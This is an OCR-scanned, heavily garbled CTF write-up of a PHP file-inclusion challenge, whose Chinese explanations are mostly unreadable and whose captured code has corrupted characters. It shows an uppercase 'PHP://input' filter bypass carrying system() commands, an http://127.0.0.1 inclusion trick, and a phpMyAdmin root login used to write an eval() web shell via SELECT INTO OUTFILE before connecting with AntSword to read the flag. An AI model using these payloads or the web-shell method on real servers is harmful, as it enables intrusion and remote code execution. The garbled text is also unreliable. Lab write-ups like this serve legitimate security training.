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strstrigi $: strstr(F/F 8 AREH R N A false)
#FfrE: MR FH $page o Hli: FEurlfETHEIN /?7page=123456, H-4 $page KN A HZ 123456,

HRERRIONA: Bt 2EE FKphp//. BEMAZEREHSNSpageI A R % F Hphp//, TXERE— whileiis), —B#&
#Ephp://, M2ABMEPATRIES B KE .

#false: ZSH BRI\ Rfalse, R —BBERRAFTESHH NS . falseRRILE Blphp//2 5, &HHphp//MZJEHA
. MR Atrue, Nt php”, WK Ephp//EIHKINE . FIWURLA
http://111.198.29.45:50769/?page=php.php://input

Hate NHi$page ) )9 25t & php:/input, T AT T i “php." & EF .

#iE: strstrf B KD EHUR, HHESX KNG,

str_replace()\MA At ZRBHEZRFEHFH—BEZHFX 5 KNE):
filtn: str_replace(*1”, “2", “123")x#iti223. FASK M1 EH N2,

<?php

show source(_FILE_);

echo $ GET['hello];

$page=$ _GET['page’];

while (strstr($page, "php://™)) {
$page=str_replace("php://", "", $page);

}

include($page);
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<?php

show_source(_ FILE );

echo § _GET['hello']:

Spage=$%_GET['page']:

while (strstr(Spage, "php:/S ")) {
¢page=str_replace("php://", "", Spage):

include ($page) ;
P

(2) BRMEAFHNRERE, THbupLh, BELEBRIER, BFHMITE, #HTburpilia
B! Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surferxyz By:LianZhang
Burp Project #i€# ERHE WO HEh

|uze|ar [ge| aes | =28 [=rs | sus [wes | sere | neen | Ares |
Jng_l] HTTPR 12 | WebSocketFi 2 | 127 |

£ hitpiif220.249.52.133:45015 &

(ze (2 | (EEwm) 5=
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GET [7page=PHP:/input HTTPM 1

Host: 220.249.52 133:45015

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4, =64, rv:81.0) Gecko/20100101 Firefox/g1.0
Accept: texthtml application/xhtrml+xml applicationimlg=0 9 imagefwebp =08
Accept-Language: zh-CM zh;g=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US3;g=0.3 en,g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Reguests: 1

Cache-Control: max-age=0

(3) postfs&:<?php system("ls");?>, #Eburpt i KAEE

&« c @ @ & 220.249.52.133:45015/?page=PHP://input
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Burp Suite Professional

Error

Request was dropped by user.
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(4) RixF|Re

Burp Project J%E ERE §1 ¥:
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Load LJF‘QL hittp: 133:45015/?page=PHP

U Spit URF

Post Data M Referrer Reverse 4 4a Basetd i

Post data

[z | a5 [ e | aes [ 228 [ 2rs [ oms [ nus [ seve | geen

_[ 56 | HTTPR2iE% | WebSocketFiE | 127 |

&7 hitpir220 248 52 13345015 ¥
| ma || =a |[=mmx || 72
[ raw | 2 | = | Hex [ran |

POST Ppage=PHP: Jinput HTTPA A1

Host: 220.249.52.133:45015

User-Agent: Mozillais .0 (Windows NT 10.0; Wing4; x64; rv:81.0) Gecko/20100101 Firefoxfa1 .0
Accept: **

Accept-Language: zh-CN zh;g=0 8 zh-TW.g=07 zh-HK;g=0.5 en-US3;g=0.3 en;g=0.2
Accept-Encaoding. gzip, deflate

Content-Type: applicationf-www-form-urlencoded

Cache: no-cache

Origin: moz-extension: f24b38798-cad20-47d6-8f2-9f402ch8cabe

Content-Length: 21

Connection: close

=?php system("ls"), 7=

peater, TEE KaxH M K%, TIE Ffldgisisish3r3.php
£ hiipir220.248 52.133:45015 %

| ma | =za |[zsex)| ==
JREWI%&T;THEXTXHL]

POST fpage=PHF: /input HTTPA 1

Host: 220 248 52 13345015 b
:ii:;g?;.ﬂ: Meozilal/s.0 (Windows NMT 10.0; Wingd; xE4; rv.81.0) Gecko/20100 S Sintruder Cirlsl
Accept-Language: zh-CM zh:q=0.8,zh-TW:g=0.7 zh-HK;q=0.5 en-US;q=0.3 en; I HiES&Repeater Ctri+R
Accept-Encoding: gzip, deflate EiEs#Sequencer
Content-Type: applicationfc-www-form-urlencoded B384 Comparer
Cache: no-cache .
3
Origin: moz-extension: (24h38798-cd20-47dE-B112-9f402chBeabe s Decoder
Content-Length: 21 1B i S R >
Connection: close [
=7php system("ls"), 7=
L Jle .
B #lcurtfr&-

R

Raw | 2% | % | Hex [ XML

B#: http:1220.249.52.133:45015 7 (7)

Lolcs

Raw | % | Hex | Render

POST F7page=PHP linput HTTPA 1
Host: 220.249.52.133:45015

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4, x84; rv:81 0) Gecko/20100101 Firefox/81.0

Accept

Accept-Language: zh-CN,zh;g=08,zh-TW;g=0.7 zh-HK, g=0 .5 gn-US;q=0.3 &n;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Cache: no-cache

HTTPA 1 200 OK

Date: Sat, 24 Oct 2020 03:46:41 GMT
Server. Apache/2.2.22 (Uburtu)
¥-Powered-By: PHP/5.3.10-1uburtu3
Wary: Accept-Encocding
Content-Length: 1552

Caonnection: close

Cortent-Type: text/tml

Origin: moz-extension: //24b38798-cd20-47d6-8f2-0f402chBcabe

Content-Length: 21
Connection: close

<cods=<span style="color: #000000">
<span style="color: #000086"=&Ht; 2php=br />show_source</span=<span style="color: #007700"(</span=<span style="color:



<7php system("s"), 7>

#0000BE">__FILE__</span=<span style="color: #007700">);<br i=echo&nbsp;</span><span style="color: #0000BE">$_GET</span=<span style="color:
#007700">[=fspan>=span style="color: #DD0000">"hello’</span><span style="color: #007700">];=hr [><ispan>=span style="color
#O000BE"=$page</span=<span style="color: #007700"==<ispan=<span style="color: #0000B6"=$_GET</span=<span style="color:
#007700"=[<ispan=<span style="color: #¥DD0000"="page </span><span style="color: #007" =];<br -while&nbsp:(</span=<span style="color:
#0000BB">strstr=/span=<span style="color: #007700">({</span==span style="color #0000B6">$page=/span=<span style="color
#007700",8nbsp;</span><span style="color: #DD0000"="php:/</span=<span style="color: #007700"))&nbspig<br
f=&nbsp;&nbsp;&nbsp;&nbsp;=ispan=<span style="color, #0000BB">$page=</span><span style="color: #007700">=</span=<=span style="color:
#O000BE"=str_replace<ispan=<span style="color: #007700"=(</span=<span style="color #DD0000"="php:/=ispan=<span style="color
#007700",8nbsp;</span><span style="color: #DD0000"="""</span><span style="color: #007700",&nbsp;</span><span style="color:
#0000BB">$page=ispan=<span style="color: #007700"=);<br f=}<br =include({=/span=<span style="color: £0000BE">$page=ispan==span style="color
#007700");<br f=</span=<span style="calor: #0000B6"> 2&gt;<br f><ispan=

<lspar

i gssrnarsone_]
index.php

phpinfo.php

(5) #k4EpostfZ<?php system("cat fldgisisish3r3.php");?>, BT E Flflag
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Burp Suite Professional

Error

Request was dropped by user.
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Post data

Burp Project it Exs# @O %3
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Post Data M Referrer

DiEsE NREsE (et O 0

5015/?page=PHP

Reverse i <

wxa | 55 | = |aes |2z | ore [ see [aus [meve [ mesem | mren
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Raw | % | & | Hex | XML

H: http:1i220.249.52.133:45015

Raw

Hex | Render

POST /?page=PHP: finput HTTPA 1

Host: 220248 52 133:45015

User-Agent: Mozillais 0 (Windows NT 10.0; WinG4; x64, rv:81.0) Gecko/20100101 Firefox/81 .0
Accept: '/

Accept-Language: zh-CN zh;g=0.8 zh-TW,g=0.7 zh-HK;4=0.5 en-US;g=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Cache: no-cache

Qrigin. moz-extension: /24b38798-cd20-47dE-8f{2-9f402chBcabe

Content-Length: 41

Connection: close

<7php system("cat fldgisisish3r3.php"), 7>

HTTPA 1 200 OK

Date: Sat, 24 Oct 2020 03:50:42 GMT
Server: Apache/2.2 22 (Ubuntu)
X-Powered-By: PHP/S.3.10-1ubuntu3
Yary: Accept-Encoding
Content-Length: 1571

Connection: close

Content-Type: text/html

L

<code=<span style="color: #000000">

<span style="color; #0000BE">&M; ?php<br />show_sources=/span>=span style="color: #007700">(=/span>=span style="color:
#0000BB">__FILE__<ispan=<span style="color: #007700"=);<br i~echo&nbsp;<ispan=<span style="color:
#0000BE"=$_GET</span=<span style="color: #007700">[</span=<span style="color: #DD0000"="hello’</span=<span
style="color: #007700"|<br [></span=<span style="color: #00005E">$page=</span=<span style="color:
#O07700">=</span><span style="color: #0000BE">$_GET</span><span style="color #007700"=[</span=<span style="color:
#DD0000"="page’</span=<span styl olor: #007700"=];<br f-while&nbsp;(</span=<span style="color:
#0000BE"=strstr</span=<span styl olor: #007700"={</span=<span style="color: #0000BE">$page</span><span
style="color: #007700">,8nbsp;</span=<span style="color: #DD0000">"php:/M</span><span style="color:

#007700" br Ispan=<span style="color: #0000BE">$page=/span=<span
style="color: #007700">==/span=<span style="color: #0000BE">str_replace=/span=<span style="color:
#007700">(</span=<span style="color: #DD0000"="php:i™=/span=<span style="color: #007700">,&nbspi<ispans<span
style="color #DDO000"="""</span==span style="color: #007700">,&nbspi<fspan=<span style="color
#0000BE">$page=/spans<span style="color: #107700"=);<br /=}<br sinclude(<ispan=<span style="color:
#0000BE">$page=/spans<span style="color: #007700"=);<br f><ispan=<span style="color: #0000BE"> 2&gt;<br f><ispans
<ispan=

Ak
$flag="ct{{E7Ga5fca-96cE-4chd-0075-4610cB4 752 )",
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(1) while R EUR#Epage S HER A Wiphp X R BAELE, WRFELHF, BT XHEE . REFMheloZF B EH, 7] Lldy
APATHRE [FE B3 5

< C O AZ&=£| 220.249.52.133:43385

hello=1

# WA ™ Gmail @ YouTube R iE [l mdsEemsmg.. M MisEMEERE.

<Yphp

show_sourcel(_ FILE_ )
echo 3 GET[ helle’];
Ipage=3 GET[ pagze’ ];

while (strstr(3page, “php://7)) |
$page=str_replace!"php://", 77, Jpaze):

1

include ($page);

K

(2) ¥i&payload, ERI\TUE Ahttp:/127.0.0.1/index.php, & & Apagefd, "Hifrwhile AR, ikpageZ % httpth il il
127.0.0 1 XN KB EENE.

&« G @ © £ 220.249.52.133:45015/?page=http://127.0.0.1/index.php/?hello=<?system("ls")?>
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<?php
show_source( FILE ):
echo § GET['hello']:
$page=$ GET['page']:

while (strstr($page, "php://")) {
fpage=str_ replace ("php://", "", Spage);

include (Spage) ;

-

< ?php

show_source [ FILE }:

echo $§_GET['hello']:

$page=$_GET['page']:

while (strstr(Spage, "php:/SS")) {
$page=5tx_xeplace[”php:fﬁ”, nmm o fpage)

include ($page) ;
>

Eldzis1sish3c3 php index php phpinfo.php |

(3) FRT =AM, de:titpayload, &EF4gisisish3r3.php, &K Hiflag

220.249.52.133:45015/7page=h" X

&« C @

(01 49.52.‘133:450‘15)‘?page:http:/f12?.0.0.'l[index.php,l?hello:<?show_source(“ﬂ4gisrsrsh3r3.php“)?>|E een
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<?php
show_source (_ FILE ) :
echo §_GET['hello']:
Spage=5_GET['page"];

while (strscr(fpage, "php:// ")) {
$page=5t1_xeplace{"php:fﬁ", nn, £page) ;

include (Spage) ;

>

< ?php

show source( FILE ):

echo § GET['hello'];

Spage=%_GET['page']:

while (strscr(Spage, "php:// ")) {
S$page=str_replace ("php://", "", Spage):

includs ($page):
g
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fRE =
() AfsIREEE, £33 phpmyadmin/s &

o UESwy feleebR 1R BEiR By:Elalilde Q0:343034656 — ™
fd: [http://220. 249,52, 133 48015/ | . FgEE B
EE o (5 CPUED * BE{E) DIE: 446559 ASFX: 47529 EM|z00

ASE: 2O7BLZ FHE: E281E (] &m0z
B : (3 EHNERER) [ ms: s JSE: 19739 (] &

FHEEE ST R 0 FAEERE : 080

D it HTTFAf] [
1 http: //220. 249, 52, 13345015,/ index. phpTchemin=  %2F.  %2f  %2f  %2f  W2f  %Cf%Cfetc 200
2 http://220. 245, 52, 133 45016 /index. php 00
3 http: //220. 240, 52, 13745015/ shpinfo. phy 00
4 I http: //220. 249, 52. 133 45016,/ phpmyadnin/thl_create. php I 200
g http: /7220, 249, B2, 13348015/ 1ndex. php¥opti on=com_uzerdri ew=rezetdlavout=confirm 200

(2) MHEHNERFE, AP L8ANroot, AT, (BAL) #HA

phpMyAdmin
Wil{ER phpMyAdmin

| Language |

527 - Chinese simplified ]

{mn.

HP&E: | |

= | |

RIS EE: | Iocalhnst|

)

(3) BEASQLEAHI AT, 4T A4 show variables like “secure_file_priv' & & secure_file_privi2 & N%, AN AT LS %
B, mBERNINAEES.



' 268 SOL BaEmINET

+ JEI0

Variable name Value

secure_file_priv

(4) BEANSQLIEBRIE AR, HiE—A)iE KD HiTselect’<?php eval($_POST(shell);?> " into outfile ‘/tmp/songrong.php’
Hreshelbh 04, A{ERBH, songrongtB i &, LinuERiAMtmpRATS B, FiEMpERTEA

phpMyAdmin

O #gEeE LJsoL GRS SHE | BB | ESE 58N o E= e @35E Il sH BEE S EE

@800 ¢

‘ B89 SQLIBDE ST (ZEH%E 0.0004 7)) |

information_schema

(4
14 mysql
SELECT "<?php eval($_POST(shell);?> "
R peroinance cho iNT6 GUTFILE Ytmp/songomg.php'

|4 phpmyadmin

(4

[#$8] [ 8IE PHP {3 ]
test

72 “localhost” &7 SQL BB o |

select” <?php eval($_POST(shell);?> " into outfile '/tmp/songorng.php’

(5) RJFITIFHRTIRT AT EBS], i ANURLAEDEE
[ Add shell —ox

© Add % Clear

Shell url * |9.52.133:4501 ,"?page=,"tmp,"sungrong.phd|

Shell pwd *

Encode UTF8 v

Shell type PHP v
Encoder
(=) default
O chr

() base64

(6) EERINGE, FTHXHER, 7 kifag
#2 AntSword O *
AntSword Data Edit Window

4 = 0 220.249.52.133

O Folders (D) <4 [dFiles (3) A
=3/ ©ONew v UP  ZRefresh @ Home  MBookmark + | /var/www/
=03 var Name Time Size Attr
| www
[B| f4gisisish3ra.php 2019-04-14 04:21:25 60 b 0644
@ index.php 2019-04-14 04:21:25 167 b 0644

@ phpinfo.php 2019-04-14 04:21:25 20b 0644




AntSword Data Edit Window
4« == [0 220.249.52.133

M Edit: fvar/www /fl4gisisish3r3.php

Save

1 2ohp

| $flag="ctf{876a5fca-96c6-4cbd-9875-46Ff0c89475d2}";

2
3 2>
4
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